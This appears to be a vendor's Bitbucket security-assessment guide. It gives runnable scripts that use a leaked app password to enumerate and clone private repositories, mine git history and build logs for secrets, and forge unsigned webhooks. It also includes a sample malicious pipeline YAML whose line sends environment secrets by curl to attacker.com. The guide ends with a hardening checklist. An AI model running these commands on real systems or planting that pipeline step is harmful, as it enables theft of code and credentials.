Bitbucket Security Testing: Repository Access, Webhook Secrets, and CI/CD Credential Exposure

Bitbucket (Cloud and Data Center) is Atlassian's code hosting platform used by thousands of enterprise development teams. Its security profile includes: app passwords โ€” long-lived credentials with no expiry and configurable scopes that are frequently over-privileged; Bitbucket Pipelines environment variables that appear in build logs when not properly masked; webhook HMAC secret validation that is optional and often disabled; and the Bitbucket Data Center REST API that exposes admin-level operations on self-hosted instances. Repository access misconfiguration โ€” particularly overly permissive workspace permissions โ€” enables unauthorized private repository access. This guide covers systematic Bitbucket security assessment.

Table of Contents

  1. App Password and Token Enumeration
  2. Repository Access and Private Repo Exposure
  3. Pipelines Secret Exposure and CI/CD Attacks
  4. Webhook Security and HMAC Bypass
  5. Bitbucket Security Hardening

App Password and Token Enumeration

Bitbucket app passwords are long-lived credentials scoped to specific API permissions. Unlike personal access tokens in other platforms, they do not expire by default and can carry any combination of read/write permissions across repositories, pull requests, and account settings.

# Bitbucket app password validation and scope discovery
BB_API="https://api.bitbucket.org/2.0"
USERNAME="bitbucket-username"
APP_PASSWORD="found-app-password"

# Validate credentials and get account info
curl -s -u "${USERNAME}:${APP_PASSWORD}" "${BB_API}/user" | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'Account: {u.get(\"display_name\")} ({u.get(\"account_id\")})')
print(f'Type: {u.get(\"account_type\")}')
print(f'Links: {list(u.get(\"links\",{}).keys())}')
"

# Enumerate all accessible workspaces
curl -s -u "${USERNAME}:${APP_PASSWORD}" "${BB_API}/workspaces" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Workspaces: {d.get(\"size\")}')
for w in d.get('values',[]):
    print(f'  {w.get(\"name\")} (slug: {w.get(\"slug\")}) โ€” type: {w.get(\"type\")}')
"

# Enumerate all repositories across all workspaces
python3 << 'EOF'
import urllib.request, json, base64

USERNAME = "bitbucket-username"
APP_PASSWORD = "found-app-password"
BB_API = "https://api.bitbucket.org/2.0"

auth = base64.b64encode(f"{USERNAME}:{APP_PASSWORD}".encode()).decode()
headers = {"Authorization": f"Basic {auth}"}

# Get workspaces
req = urllib.request.Request(f"{BB_API}/workspaces", headers=headers)
workspaces = json.loads(urllib.request.urlopen(req).read())['values']

for ws in workspaces:
    slug = ws['slug']
    req = urllib.request.Request(f"{BB_API}/repositories/{slug}?pagelen=50", headers=headers)
    repos = json.loads(urllib.request.urlopen(req).read())
    print(f"\nWorkspace '{slug}': {repos.get('size')} repositories")
    for r in repos.get('values', []):
        print(f"  {'[PRIVATE]' if r['is_private'] else '[public] '} {r['full_name']} โ€” {r.get('description','')[:60]}")
        print(f"    lang={r.get('language')} size={r.get('size')} updated={r.get('updated_on','')[:10]}")
EOF

# Search git history for secrets in all repos
git clone "https://${USERNAME}:${APP_PASSWORD}@bitbucket.org/workspace/repo.git" /tmp/repo
cd /tmp/repo && git log --all -p | grep -E 'password|secret|api.?key|token|credential' -A2 | head -100
High Impact: Bitbucket app passwords with repository read access and no expiry are effectively permanent credentials. They appear in CI/CD configs, deployment scripts, and developer dotfiles. A single exposed app password with write access enables malicious commits to all accessible repositories.

Repository Access and Private Repo Exposure

Bitbucket workspace permissions and branching restrictions are frequently misconfigured. Public repositories in private workspaces, overly broad team permissions, and inherited access from Jira integrations can expose private code to unauthorized users.

# Repository access assessment
BB_API="https://api.bitbucket.org/2.0"
WORKSPACE="company-workspace"
AUTH="-u username:app_password"

# List all repos including private (checks actual access level)
curl -s ${AUTH} "${BB_API}/repositories/${WORKSPACE}?pagelen=100&q=is_private=true" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Private repos accessible: {d.get(\"size\")}')
for r in d.get('values',[]):
    print(f'  {r[\"full_name\"]} โ€” {r.get(\"description\",\"\")[:60]}')
    links=r.get('links',{})
    clone_links=links.get('clone',[])
    for cl in clone_links:
        if cl.get('name')=='https':
            print(f'    Clone: {cl[\"href\"]}')
"

# Check branch protection โ€” can we push to main/master?
REPO="workspace/sensitive-repo"
curl -s ${AUTH} "${BB_API}/repositories/${REPO}/branch-restrictions" | python3 -c "
import json,sys
restrictions=json.load(sys.stdin).get('values',[])
print(f'Branch restrictions: {len(restrictions)}')
for r in restrictions:
    print(f'  {r.get(\"kind\")} on {r.get(\"pattern\")} โ€” users: {[u.get(\"nickname\") for u in r.get(\"users\",[])]}')
if not restrictions:
    print('NO BRANCH PROTECTION โ€” can push to any branch')
"

# Check deploy keys (SSH keys with repo access)
curl -s ${AUTH} "${BB_API}/repositories/${REPO}/deploy-keys" | python3 -c "
import json,sys
keys=json.load(sys.stdin).get('values',[])
print(f'Deploy keys: {len(keys)}')
for k in keys:
    print(f'  [{k[\"id\"]}] {k.get(\"label\")} โ€” created: {k.get(\"created_on\",\"\")[:10]}')
    print(f'    key: {k.get(\"key\",\"\")[:40]}...')
    print(f'    last used: {k.get(\"last_used\")}')
"

# Enumerate user SSH keys (account-level โ€” access all authorized repos)
curl -s ${AUTH} "${BB_API}/users/{account_id}/ssh-keys" | python3 -c "
import json,sys
keys=json.load(sys.stdin).get('values',[])
print(f'SSH keys: {len(keys)}')
for k in keys:
    print(f'  {k.get(\"label\")} โ€” {k.get(\"key\",\"\")[:50]}...')
"

Pipelines Secret Exposure and CI/CD Attacks

Bitbucket Pipelines environment variables marked as "secured" are masked in logs โ€” but masking is bypassable. Variables passed to scripts via echo, printed in error traces, or used in commands that print their arguments appear in build logs in plaintext.

# Bitbucket Pipelines โ€” secret variable exposure and CI/CD attacks
BB_API="https://api.bitbucket.org/2.0"
WORKSPACE="company-workspace"
REPO="sensitive-repo"
AUTH="-u username:app_password"

# List Pipelines variables (secured variables show name but not value)
curl -s ${AUTH} "${BB_API}/repositories/${WORKSPACE}/${REPO}/pipelines_config/variables/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Pipeline variables: {d.get(\"size\")}')
for v in d.get('values',[]):
    secured='[SECURED]' if v.get('secured') else '[PLAINTEXT]'
    print(f'  {secured} {v.get(\"key\")} = {v.get(\"value\",\"***\")}')
"

# Read build logs โ€” search for accidentally exposed secrets
python3 << 'EOF'
import urllib.request, json, base64, re

USERNAME = "username"
APP_PASSWORD = "app_password"
BB_API = "https://api.bitbucket.org/2.0"
WORKSPACE = "company-workspace"
REPO = "sensitive-repo"

auth = base64.b64encode(f"{USERNAME}:{APP_PASSWORD}".encode()).decode()
headers = {"Authorization": f"Basic {auth}"}

# Get recent pipeline runs
req = urllib.request.Request(f"{BB_API}/repositories/{WORKSPACE}/{REPO}/pipelines/?sort=-created_on&pagelen=10", headers=headers)
pipelines = json.loads(urllib.request.urlopen(req).read())

secret_pattern = re.compile(r'(?:password|secret|token|key|credential)[=:\s]+([^\s\n]{8,})', re.IGNORECASE)

for p in pipelines.get('values', []):
    pid = p['uuid']
    # Get steps for this pipeline
    req = urllib.request.Request(f"{BB_API}/repositories/{WORKSPACE}/{REPO}/pipelines/{pid}/steps/", headers=headers)
    steps = json.loads(urllib.request.urlopen(req).read())
    
    for step in steps.get('values', []):
        sid = step['uuid']
        # Get step log
        try:
            req = urllib.request.Request(f"{BB_API}/repositories/{WORKSPACE}/{REPO}/pipelines/{pid}/steps/{sid}/log", headers=headers)
            log = urllib.request.urlopen(req).read().decode('utf-8', errors='replace')
            matches = secret_pattern.findall(log)
            if matches:
                print(f"Pipeline {pid[:8]} Step {sid[:8]}: POSSIBLE SECRETS IN LOG")
                for m in matches[:5]:
                    print(f"  Found: {m[:60]}")
        except: pass
EOF

# Add malicious bitbucket-pipelines.yml via API (requires write access)
# This demonstrates what a supply chain attack looks like
MALICIOUS_YAML=$(cat << 'EOF'
image: atlassian/default-image:3
pipelines:
  default:
    - step:
        name: Build
        script:
          - echo "Legitimate build step"
          - env | grep -iE 'TOKEN|SECRET|KEY|PASS' | base64 | curl -s -d@- http://attacker.com/collect
          - exit 0
EOF
)
echo "Malicious pipeline YAML prepared (would require commit access to deploy)"

Webhook Security and HMAC Bypass

Bitbucket webhooks can optionally include a secret that the receiving server should use to verify HMAC-SHA256 signatures. When verification is disabled on the receiving server, an attacker can send forged webhook payloads to trigger CI/CD pipelines, deployment scripts, or automation workflows.

# Bitbucket webhook security assessment
BB_API="https://api.bitbucket.org/2.0"
WORKSPACE="company-workspace"
REPO="sensitive-repo"
AUTH="-u username:app_password"

# Enumerate webhooks (reveals target URLs and configured events)
curl -s ${AUTH} "${BB_API}/repositories/${WORKSPACE}/${REPO}/hooks" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Webhooks: {d.get(\"size\")}')
for h in d.get('values',[]):
    print(f'  [{h[\"uuid\"]}] {h.get(\"description\")}')
    print(f'    URL: {h.get(\"url\")}')
    print(f'    Events: {h.get(\"events\")}')
    print(f'    Secret: {\"[SET]\" if h.get(\"secret\") else \"[NONE โ€” no HMAC validation]\"}')
    print(f'    Active: {h.get(\"active\")}')
"

# Test if webhook endpoint validates HMAC signature
WEBHOOK_URL="https://deploy.company.com/bitbucket/webhook"

# Send forged push event without valid HMAC signature
curl -s -X POST "${WEBHOOK_URL}" \
  -H "Content-Type: application/json" \
  -H "X-Event-Key: repo:push" \
  -H "X-Hub-Signature: sha256=0000000000000000000000000000000000000000000000000000000000000000" \
  -d '{
    "push": {
      "changes": [{
        "commits": [{"hash": "abc123", "message": "security test"}],
        "new": {"name": "main", "target": {"hash": "abc123"}}
      }]
    },
    "repository": {"full_name": "company-workspace/sensitive-repo"}
  }' -o /dev/null -w "Forged webhook: HTTP %{http_code}\n"

# If 200 returned, HMAC validation is disabled
# Deploy scripts triggered by this webhook run without verifying the source

# Enumerate all workspace webhooks (requires workspace admin)
curl -s ${AUTH} "${BB_API}/workspaces/${WORKSPACE}/hooks" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for h in d.get('values',[]):
    print(f'Workspace webhook: {h.get(\"url\")} events={h.get(\"events\")}')
"

Automated Bitbucket Security Testing

Ironimo can assess your Bitbucket environment for app password exposure, Pipelines secret leakage, webhook HMAC misconfiguration, private repository access issues, and CI/CD pipeline injection risks.

Start free scan

Hardening Checklist

IssueDefault StateFix
App password no expiryNo expiration by defaultEnforce app password rotation policy; use OAuth2 tokens with expiry for CI/CD; audit unused app passwords
Pipelines variables in logsMasking bypassableUse Bitbucket Deployments for secrets; never echo secured variables; use external secret manager (Vault, AWS SM)
Webhook HMAC not enforcedOptional โ€” receiving server must validateEnable HMAC secret on all webhooks; implement signature validation on receiving server; reject webhooks without valid sig
No branch protectionNone by defaultEnable merge checks; require PR approval; restrict direct push to main/master; enable required status checks
Deploy keys no expiry or last-used trackingPermanent access until deletedAudit deploy key last-used dates; delete unused keys; prefer OAuth2 over SSH keys for automation
Workspace-level secrets accessible to all reposWorkspace vars available to all pipelinesScope secrets to specific repositories/environments; use repository-level variables for sensitive credentials
Key findings to report: App password with all-repo write access and no expiry (critical); CI/CD secrets appearing in build logs (high); webhook endpoint accepting forged events without HMAC validation (high); SSH deploy keys with no last-used date (medium); no branch protection on main branch (high); private repository cloneable with leaked app password (critical).